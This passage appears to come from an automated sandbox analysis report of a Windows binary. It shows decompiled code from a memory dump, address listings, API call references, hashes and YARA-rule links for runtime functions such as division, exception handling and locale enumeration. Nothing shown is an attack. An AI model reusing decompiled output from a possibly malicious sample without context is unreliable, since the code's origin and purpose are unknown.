																asm("adc eax, eax");
																 *((intOrPtr*)(_t322 - 4)) = _t290 +  *((intOrPtr*)(_t370 - 4)) + _t268;
																asm("adc eax, 0x0");
																_t268 = 0;
																_t346 = _t346 - 1;
																__eflags = _t346;
															} while (_t346 != 0);
															_t266 = _v8;
														}
														_t266 = _t266 + 0xffffffff;
														asm("adc dword [ebp-0x18], 0xffffffff");
													} else {
														__eflags = _v52 - _t342;
														if(_v52 < _t342) {
															goto L64;
														}
													}
												}
												_t213 = _v12 - 1;
												__eflags = _t213;
												_v16 = _t213;
											} else {
												__eflags = _t266;
												if(_t266 != 0) {
													goto L55;
												}
											}
											_t339 = 0 + _t266;
											asm("adc esi, 0x0");
											_v20 = _v20 - 4;
											_t321 = _v32 - 1;
											_t263 = _a4;
											_t286 = _v80 - 4;
											_t206 = _v12 - 1;
											_v76 = _t339;
											_v32 = _t321;
											_v80 = _t286;
											_v12 = _t206;
											__eflags = _t321;
										} while (_t321 >= 0);
									}
									_t317 = _v16 + 1;
									_t204 = _t317;
									__eflags = _t204 -  *_t263;
									if(_t204 <  *_t263) {
										_t191 = _t204 + 1; // 0x1292d5
										_t282 =  &(_t263[_t191]);
										do {
											 *_t282 = 0;
											_t194 =  &(_t282[1]); // 0x91850fc2
											_t282 = _t194;
											_t204 = _t204 + 1;
											__eflags = _t204 -  *_t263;
										} while (_t204 <  *_t263);
									}
									 *_t263 = _t317;
									__eflags = _t317;
									if(_t317 != 0) {
										while(1) {
											_t279 =  *_t263;
											__eflags = _t263[_t279];
											if(_t263[_t279] != 0) {
												goto L79;
											}
											_t280 = _t279 + 0xffffffff;
											__eflags = _t280;
											 *_t263 = _t280;
											if(_t280 != 0) {
												continue;
											}
											goto L79;
										}
									}
									L79:
									return _t339;
								} else {
									goto L24;
								}
							}
						} else {
							_t6 =  &(_t336[1]); // 0xfc23b5a
							_t303 =  *_t6;
							_v44 = _t303;
							__eflags = _t303 - 1;
							if(_t303 != 1) {
								__eflags = _t357;
								if(_t357 != 0) {
									_t350 = 0;
									_v12 = 0;
									_v8 = 0;
									_v20 = 0;
									__eflags = _t357 - 0xffffffff;
									if(_t357 != 0xffffffff) {
										_t250 = _v16 + 1;
										__eflags = _t250;
										_v32 = _t250;
										_t381 =  &(_t263[_t357 + 1]);
										do {
											_t253 = E000ED710( *_t381, _t350, _t303, 0);
											_v68 = _t311;
											_t381 = _t381 - 4;
											_v20 = _t263;
											_t350 = _t303;
											_t311 = 0 + _t253;
											asm("adc ecx, 0x0");
											_v12 = _t311;
											_t34 =  &_v32;
											 *_t34 = _v32 - 1;
											__eflags =  *_t34;
											_v8 = _v12;
											_t303 = _v44;
										} while ( *_t34 != 0);
										_t263 = _a4;
									}
									_v544 = 0;
									_t41 =  &(_t263[1]); // 0x4
									_t378 = _t41;
									 *_t263 = 0;
									E00110225(_t378, 0x1cc,  &_v540, 0);
									_t247 = _v20;
									__eflags = 0 - _t247;
									 *_t378 = _t350;
									_t263[2] = _t247;
									asm("sbb ecx, ecx");
									__eflags =  ~0x00000000;
									 *_t263 = 0xbadbae;
									return _v12;
								} else {
									_t14 =  &(_t263[1]); // 0x4
									_t352 = _t14;
									_v544 = 0;
									 *_t263 = 0;
									E00110225(_t352, 0x1cc,  &_v540, 0);
									_t256 = _t263[1];
									_t330 = _t256 % _v44;
									__eflags = 0 - _t330;
									 *_t352 = _t330;
									asm("sbb ecx, ecx");
									__eflags = 0;
									 *_t263 =  ~0x00000000;
									return _t256 / _v44;
								}
							} else {
								_t9 =  &(_t263[1]); // 0x4
								_v544 = _t198;
								 *_t263 = _t198;
								E00110225(_t9, 0x1cc,  &_v540, _t198);
								__eflags = 0;
								return _t263[1];
							}
						}
					} else {
						__eflags = 0;
						return 0;
					}
				} else {
					return _t197;
				}
			}

0x00115b0c
0x00115b0f
0x00115b13
0x00115b1d
0x00115b20
0x00115b22
0x00115b24
0x00115b31
0x00115b31
0x00115b34
0x00115b34
0x00115b37
0x00115b3a
0x00115b3c
0x00115c6f
0x00115c71
0x00115cba
0x00115cbe
0x00115cc4
0x00115c73
0x00115c75
0x00115c78
0x00115c7a
0x00115c7d
0x00115c7f
0x00115c81
0x00115cb5
0x00115cb5
0x00115cb5
0x00115c83
0x00115c88
0x00115c8e
0x00115c8e
0x00115c91
0x00115c93
0x00115c95
0x00000000
0x00000000
0x00115c97
0x00115c98
0x00115c9b
0x00115c9e
0x00115ca0
0x00000000
0x00115ca2
0x00000000
0x00115ca2
0x00000000
0x00115ca0
0x00115ca4
0x00115cab
0x00115caf
0x00115cb3
0x00000000
0x00000000
0x00115cb3
0x00115cb6
0x00115cb6
0x00115cb8
0x00115cc5
0x00115cc8
0x00115ccb
0x00115cce
0x00115cce
0x00115cd2
0x00115cd5
0x00115cd8
0x00115cdb
0x00115ce6
0x00115cdd
0x00115ce2
0x00115ce2
0x00115cf0
0x00115cf5
0x00115cf8
0x00115cfa
0x00115d04
0x00115d07
0x00115d0e
0x00115d11
0x00115d14
0x00115d1c
0x00115d22
0x00115d22
0x00115d22
0x00115d22
0x00115d14
0x00115d27
0x00115d2e
0x00115d2e
0x00115d31
0x00115d34
0x00115f66
0x00115f66
0x00115d3a
0x00115d3a
0x00115d40
0x00115d43
0x00115d46
0x00115d49
0x00115d4c
0x00115d4f
0x00115d52
0x00115d52
0x00115d55
0x00115d5c
0x00115d5c
0x00115d57
0x00115d57
0x00115d57
0x00115d5e
0x00115d62
0x00115d65
0x00115d67
0x00115d6a
0x00115d71
0x00115d74
0x00115d77
0x00115d82
0x00115d85
0x00115d8a
0x00115d8f
0x00115d96
0x00115d9b
0x00115d9d
0x00115d9f
0x00115da3
0x00115da6
0x00115da9
0x00115db1
0x00115dba
0x00115dba
0x00115dbc
0x00115dbf
0x00115dbf
0x00115da9
0x00115dc9
0x00115dce
0x00115dd3
0x00115dd5
0x00115dd8
0x00115dda
0x00115ddd
0x00115de0
0x00115de2
0x00115de5
0x00115de8
0x00115dea
0x00115df1
0x00115df6
0x00115df9
0x00115e03
0x00115e05
0x00115e07
0x00115e0a
0x00115e0a
0x00115e0c
0x00115e0f
0x00115e12
0x00115e15
0x00115e18
0x00115dec
0x00115dec
0x00115def
0x00000000
0x00000000
0x00115def
0x00115e1b
0x00115e1d
0x00115e1f
0x00000000
0x00115e21
0x00115e21
0x00115e24
0x00115e26
0x00115e26
0x00115e34
0x00115e37
0x00115e3c
0x00115e3e
0x00000000
0x00000000
0x00115e40
0x00115e47
0x00115e47
0x00115e4a
0x00115e4d
0x00115e50
0x00115e53
0x00115e53
0x00115e56
0x00115e59
0x00115e5d
0x00115e60
0x00115e62
0x00115e65
0x00000000
0x00000000
0x00115e67
0x00115e65
0x00115e42
0x00115e42
0x00115e45
0x00000000
0x00000000
0x00000000
0x00000000
0x00115e45
0x00115e6c
0x00115e6c
0x00000000
0x00115e6c
0x00115e69
0x00000000
0x00115e69
0x00115e24
0x00115e1f
0x00115e6f
0x00115e6f
0x00115e71
0x00115e7b
0x00115e7b
0x00115e7e
0x00115e80
0x00115e82
0x00115e84
0x00115e89
0x00115e8c
0x00115e8c
0x00115e8f
0x00115e92
0x00115e95
0x00115e97
0x00115eac
0x00115eae
0x00115eb0
0x00115eb2
0x00115eb4
0x00115eb6
0x00115eb8
0x00115eba
0x00115ebd
0x00115ebd
0x00115ec1
0x00115ec3
0x00115ec9
0x00115ecc
0x00115ecc
0x00115ecc
0x00115ed0
0x00115ed0
0x00115ed5
0x00115ed8
0x00115ed8
0x00115edd
0x00115edf
0x00115ee1
0x00115ee8
0x00115ee8
0x00115eea
0x00115eef
0x00115ef1
0x00115ef4
0x00115ef4
0x00115ef7
0x00115f00
0x00115f00
0x00115f02
0x00115f02
0x00115f07
0x00115f0d
0x00115f11
0x00115f14
0x00115f17
0x00115f19
0x00115f19
0x00115f19
0x00115f1e
0x00115f1e
0x00115f21
0x00115f24
0x00115ee3
0x00115ee3
0x00115ee6
0x00000000
0x00000000
0x00115ee6
0x00115ee1
0x00115f2b
0x00115f2b
0x00115f2c
0x00115e73
0x00115e73
0x00115e75
0x00000000
0x00000000
0x00115e75
0x00115f3c
0x00115f41
0x00115f44
0x00115f48
0x00115f49
0x00115f4c
0x00115f4f
0x00115f50
0x00115f53
0x00115f56
0x00115f59
0x00115f5c
0x00115f5c
0x00115f64
0x00115f6b
0x00115f6c
0x00115f6e
0x00115f70
0x00115f72
0x00115f75
0x00115f80
0x00115f80
0x00115f86
0x00115f86
0x00115f89
0x00115f8a
0x00115f8a
0x00115f80
0x00115f8e
0x00115f90
0x00115f92
0x00115f94
0x00115f94
0x00115f96
0x00115f9a
0x00000000
0x00000000
0x00115f9c
0x00115f9c
0x00115f9f
0x00115fa1
0x00000000
0x00000000
0x00000000
0x00115fa1
0x00115f94
0x00115fa3
0x00115fad
0x00000000
0x00000000
0x00000000
0x00115cb8
0x00115b42
0x00115b42
0x00115b42
0x00115b45
0x00115b48
0x00115b4b
0x00115b7c
0x00115b7e
0x00115bc9
0x00115bcb
0x00115bd2
0x00115bd9
0x00115bdc
0x00115bdf
0x00115be5
0x00115be5
0x00115be6
0x00115be9
0x00115bf0
0x00115bf9
0x00115bfe
0x00115c01
0x00115c06
0x00115c09
0x00115c0b
0x00115c10
0x00115c13
0x00115c16
0x00115c16
0x00115c16
0x00115c1a
0x00115c1d
0x00115c1d
0x00115c22
0x00115c22
0x00115c2d
0x00115c38
0x00115c38
0x00115c3b
0x00115c47
0x00115c4c
0x00115c57
0x00115c59
0x00115c5b
0x00115c61
0x00115c66
0x00115c68
0x00115c6e
0x00115b80
0x00115b8c
0x00115b8c
0x00115b8f
0x00115b9f
0x00115ba5
0x00115bac
0x00115bae
0x00115bb6
0x00115bb8
0x00115bba
0x00115bbf
0x00115bc2
0x00115bc8
0x00115bc8
0x00115b4d
0x00115b50
0x00115b54
0x00115b5a
0x00115b69
0x00115b73
0x00115b7b
0x00115b7b
0x00115b4b
0x00115b26
0x00115b29
0x00115b2f
0x00115b2f
0x00115b15
0x00115b1b
0x00115b1b

APIs

__aulldvrm.LIBCMT ref: 00115BF9
__aulldvrm.LIBCMT ref: 00115DC9

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: __aulldvrm
String ID:
API String ID: 1302938615-0
Opcode ID: 6068d59da57c5c916bf959b79711fd9b643cd28b53a09d7c23d81848706f63dd
Instruction ID: d670638e2062259d6c71a0f8b9e753071d7c7404374ca9f1e43b9ed26cbaa2c3
Opcode Fuzzy Hash: 6068d59da57c5c916bf959b79711fd9b643cd28b53a09d7c23d81848706f63dd
Instruction Fuzzy Hash: F4021B71E01619DFDF18CFA9D8806EDF7F6EF88314F25816AD819E7284D731AA418B90

Uniqueness

Uniqueness Score: 0.08%

Function 000A6840, Relevance: 2.6, APIs: 1, Instructions: 1072COMMON

Download Yara Rule

APIs

Part of subcall function 0009F430: __CxxThrowException@8.LIBVCRUNTIME ref: 0009F514

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

__CxxThrowException@8.LIBVCRUNTIME ref: 000A75BA

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

Part of subcall function 000A3F10: ___std_exception_copy.LIBVCRUNTIME ref: 000A3F90

Part of subcall function 000A3750: __CxxThrowException@8.LIBVCRUNTIME ref: 000A376C

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw$ExceptionFeaturePresentProcessorRaise___raise_securityfailure___std_exception_copy
String ID:
API String ID: 106381449-0
Opcode ID: b5e8ac0bf575ed55f40b35953eca231d792a0fc1e0102b4cf7dc7f590370f099
Instruction ID: a304f7eb16afa5be2593728942c0cd25896167b3e90452a43374eddc451dfd60
Opcode Fuzzy Hash: b5e8ac0bf575ed55f40b35953eca231d792a0fc1e0102b4cf7dc7f590370f099
Instruction Fuzzy Hash: 16A24871D00218CFDB24CFA8C984BDDBBF5BF5A314F288159E409AB292DB75AA45CF50

Uniqueness

Uniqueness Score: 0.31%

Function 0009D7B0, Relevance: 2.6, APIs: 1, Instructions: 1056COMMON

Download Yara Rule

APIs

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

__CxxThrowException@8.LIBVCRUNTIME ref: 0009E5F8

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ExceptionException@8FeaturePresentProcessorRaiseThrow___raise_securityfailure
String ID:
API String ID: 3939691812-0
Opcode ID: 1a8f2f48c2026cb0a69044136825fa27b112a0bfbc1efdf34828fee03b52ab27
Instruction ID: 91247f98b620aedd7adcb2bb521c5b587de36e4cc9f0fd92141a9739866d78b7
Opcode Fuzzy Hash: 1a8f2f48c2026cb0a69044136825fa27b112a0bfbc1efdf34828fee03b52ab27
Instruction Fuzzy Hash: 12A27B71900258DFDF24CF68C844BEEB7B6AF49300F1485D9E44AA7292DB70AE84DF90

Uniqueness

Uniqueness Score: 0.31%

Function 000A5C20, Relevance: 2.3, APIs: 1, Instructions: 815COMMON

Download Yara Rule

APIs

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Part of subcall function 000A3720: __CxxThrowException@8.LIBVCRUNTIME ref: 000A373E

__CxxThrowException@8.LIBVCRUNTIME ref: 000A6573

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

Part of subcall function 0009F430: __CxxThrowException@8.LIBVCRUNTIME ref: 0009F514

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw$ExceptionFeaturePresentProcessorRaise___raise_securityfailure
String ID:
API String ID: 654547538-0
Opcode ID: 4d93451146574b2c6b2c5916bcb8f8f21599210254b7f33c0e09107327125a8b
Instruction ID: 2bb8c1c654f6a12be1dd5f89af7a9c17b7f9e20f44ac018270df1bc3a8e27655
Opcode Fuzzy Hash: 4d93451146574b2c6b2c5916bcb8f8f21599210254b7f33c0e09107327125a8b
Instruction Fuzzy Hash: 45729B71D00259DFDB24DFA8C894BEEFBB5BF19304F148199E419A7282DB716A84CF90

Uniqueness

Uniqueness Score: 0.31%

Function 000CC435, Relevance: 2.3, Strings: 1, Instructions: 1018COMMON

Download Yara Rule

Strings

, xrefs: 000CC6D4

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 6201632e15fc166c5639d0aa764e869eb63f63e684d1d6afbe1cbfd7ba096d4a
Instruction ID: 25a0354041981c1ebd52586521a5d322a753fb9f54369c6dc1dad248abac14ac
Opcode Fuzzy Hash: 6201632e15fc166c5639d0aa764e869eb63f63e684d1d6afbe1cbfd7ba096d4a
Instruction Fuzzy Hash: 23A248B4A00119EFCB18CF98D4A1ABDB7F1FB48310F24449DE556AB392C635AE92DF50

Uniqueness

Uniqueness Score: 0.02%

Function 000A8150, Relevance: 2.2, Strings: 1, Instructions: 952COMMON

Download Yara Rule

Strings

\, xrefs: 000A86FF

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: \
API String ID: 3761405300-2967466578
Opcode ID: 7fe32d808f4fc6bc1caff4ca81562d44ea4c40774c3b60c8c8c1d27227fd3bac
Instruction ID: c18ae8e478cc36faf749949163192014706d60e0f70b9beca30111e3e072596d
Opcode Fuzzy Hash: 7fe32d808f4fc6bc1caff4ca81562d44ea4c40774c3b60c8c8c1d27227fd3bac
Instruction Fuzzy Hash: 07825D70E00208DFDB14DFE8D8C5AEEBBB5BF59310F248629E415AB382DB759941CB61

Uniqueness

Uniqueness Score: 0.95%

Function 0011B2BE, Relevance: 1.8, APIs: 1, Instructions: 269COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,0011B2B9,?,?,00000008,?,?,00129AD1,00000000), ref: 0011B4EB

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: b7ce8889477ea8f3ec25d9535a005c943ab03a015fc93603902002939aae24a3
Instruction ID: 32cb942aa64eaeee4fc6f01fe9786c879f5df07814c28e663980b0fa45a005d8
Opcode Fuzzy Hash: b7ce8889477ea8f3ec25d9535a005c943ab03a015fc93603902002939aae24a3
Instruction Fuzzy Hash: 36B11D31614609DFD719CF28C4C6BA57BE1FF45364F258668E89ACF2A2C335E991CB40

Uniqueness

Uniqueness Score: 0.05%

Function 0005B450, Relevance: 1.7, APIs: 1, Instructions: 227comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(0013FA00,00000000,00000001,0013F9E0,?), ref: 0005B4E1

Part of subcall function 000AAB90: GetFileAttributesW.KERNELBASE(?,D529E887,?,?,?,?,?,?,00133E80,000000FF,?,00055195), ref: 000AABD2
Part of subcall function 000AAB90: CreateFileW.KERNEL32(?,00000000,00000007,00000000,00000003,02000000,00000000), ref: 000AAC5B
Part of subcall function 000AAB90: CloseHandle.KERNEL32(00000000), ref: 000AACB3
Part of subcall function 000AAB90: CloseHandle.KERNEL32(00000000), ref: 000AACC3

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: CloseCreateFileHandle$AttributesFeatureInstancePresentProcessor___raise_securityfailure
String ID:
API String ID: 3026133579-0
Opcode ID: af06ee62ad208fe970ff8fb8487569aa14e55566780cad84ba8892c46a285ef9
Instruction ID: a398b08068464de8bf4afc09dea8102aef160be10575a3bddcae097c30a2f4c5
Opcode Fuzzy Hash: af06ee62ad208fe970ff8fb8487569aa14e55566780cad84ba8892c46a285ef9
Instruction Fuzzy Hash: 5481C230A006549FDB34DF24CC45B9AB7F5FF40709F14869DE489AB291DB75AA88CF90

Uniqueness

Uniqueness Score: 0.04%

Function 00126CFA, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 0011E008: GetLastError.KERNEL32(B2AB117A,ios_base::failbit set,0010F5D5,0016C2A8,0000000C,?,00000001,?,0006B1C9,00000000,00000000,D529E887), ref: 0011E00C
Part of subcall function 0011E008: _free.LIBCMT ref: 0011E03F
Part of subcall function 0011E008: _free.LIBCMT ref: 0011E067
Part of subcall function 0011E008: SetLastError.KERNEL32(00000000,?,?,?,?,00000000,?,0006B1C9,00000000,00000000,D529E887), ref: 0011E074
Part of subcall function 0011E008: SetLastError.KERNEL32(00000000,?,?,?,?,00000000,?,0006B1C9,00000000,00000000,D529E887), ref: 0011E080
Part of subcall function 0011E008: _abort.LIBCMT ref: 0011E086

EnumSystemLocalesW.KERNEL32(00126E22,00000001,00000000,?,0011A3B6,?,0012744F,00000000,?,?,?), ref: 00126D6C

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ErrorLast$_free$EnumLocalesSystem_abort
String ID:
API String ID: 717707927-0
Opcode ID: 9bd0e491d8f452a71884d4f2cdec5d96fef7bfa1f243f48018b9f6c1806875ba
Instruction ID: 882abf3fee32f8a4242ef5f48df3c206deb4509e9dad139fb99af2908b55d6a9
Opcode Fuzzy Hash: 9bd0e491d8f452a71884d4f2cdec5d96fef7bfa1f243f48018b9f6c1806875ba
Instruction Fuzzy Hash: A5110C3B3007095FDB189F79E8916BABB92FF84358B55443CE98647B80D7717952CB40

Uniqueness

Uniqueness Score: 0.03%

Function 00126D95, Relevance: 1.5, APIs: 1, Instructions: 42COMMON

Download Yara Rule

APIs

Part of subcall function 0011E008: GetLastError.KERNEL32(B2AB117A,ios_base::failbit set,0010F5D5,0016C2A8,0000000C,?,00000001,?,0006B1C9,00000000,00000000,D529E887), ref: 0011E00C
Part of subcall function 0011E008: _free.LIBCMT ref: 0011E03F
Part of subcall function 0011E008: _free.LIBCMT ref: 0011E067
Part of subcall function 0011E008: SetLastError.KERNEL32(00000000,?,?,?,?,00000000,?,0006B1C9,00000000,00000000,D529E887), ref: 0011E074
Part of subcall function 0011E008: SetLastError.KERNEL32(00000000,?,?,?,?,00000000,?,0006B1C9,00000000,00000000,D529E887), ref: 0011E080
Part of subcall function 0011E008: _abort.LIBCMT ref: 0011E086

EnumSystemLocalesW.KERNEL32(00127072,00000001,001522A0,?,0011A3B6,?,00127413,0011A3B6,?,?,?,?,?,0011A3B6,?,?), ref: 00126DE1

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ErrorLast$_free$EnumLocalesSystem_abort
String ID:
API String ID: 717707927-0
Opcode ID: 281694c840fabfae7a07ce0a0202b2688999c15b3345f16b68aa6df8d3bec2da
Instruction ID: 574bab8c6210a24b26c61e377c4bf59e9a6a8055cb55c10f42ad166aad83e60a
Opcode Fuzzy Hash: 281694c840fabfae7a07ce0a0202b2688999c15b3345f16b68aa6df8d3bec2da
Instruction Fuzzy Hash: DDF0C23630031C5FDB245F79AC91A7ABB95FF81368F15447CFA858BA90D7B19C418610

Uniqueness

Uniqueness Score: 0.03%

Function 0011EE9B, Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 0011299D: EnterCriticalSection.KERNEL32(?,?,0011956A,00051054,0016C450,0000000C), ref: 001129AC

EnumSystemLocalesW.KERNEL32(0011EE55,00000001,0016C610,0000000C), ref: 0011EED3

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 96a4952d7d2cfb2e4f4c9dcef90a2d7021feeee344ffccd0f419f3f5671195ba
Instruction ID: 33478208b1755eeb21a185e068c7ae297679256b16e5694499636e2e877eb5ed
Opcode Fuzzy Hash: 96a4952d7d2cfb2e4f4c9dcef90a2d7021feeee344ffccd0f419f3f5671195ba
Instruction Fuzzy Hash: ECF04972A10348EFDB14EF68E846B9D37F0EB04721F504169F918DB6A2DBB589C18F41

Uniqueness

Uniqueness Score: 0.03%

Function 00126CAF, Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 0011E008: GetLastError.KERNEL32(B2AB117A,ios_base::failbit set,0010F5D5,0016C2A8,0000000C,?,00000001,?,0006B1C9,00000000,00000000,D529E887), ref: 0011E00C
Part of subcall function 0011E008: _free.LIBCMT ref: 0011E03F
Part of subcall function 0011E008: _free.LIBCMT ref: 0011E067
Part of subcall function 0011E008: SetLastError.KERNEL32(00000000,?,?,?,?,00000000,?,0006B1C9,00000000,00000000,D529E887), ref: 0011E074
Part of subcall function 0011E008: SetLastError.KERNEL32(00000000,?,?,?,?,00000000,?,0006B1C9,00000000,00000000,D529E887), ref: 0011E080
Part of subcall function 0011E008: _abort.LIBCMT ref: 0011E086

EnumSystemLocalesW.KERNEL32(00126C06,00000001,001522A0,?,?,00127471,0011A3B6,?,?,?,?,?,0011A3B6,?,?,?), ref: 00126CE6

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ErrorLast$_free$EnumLocalesSystem_abort
String ID:
API String ID: 717707927-0
Opcode ID: 068d0e9c828300de2f2f5ab64011bb613fb36ae76fbe3c29942a4a7310b58bb8
Instruction ID: d46b5f741c1bdb84d41c171c6d3857714f19a7f84380a3a559c1edd237d30ad8
Opcode Fuzzy Hash: 068d0e9c828300de2f2f5ab64011bb613fb36ae76fbe3c29942a4a7310b58bb8
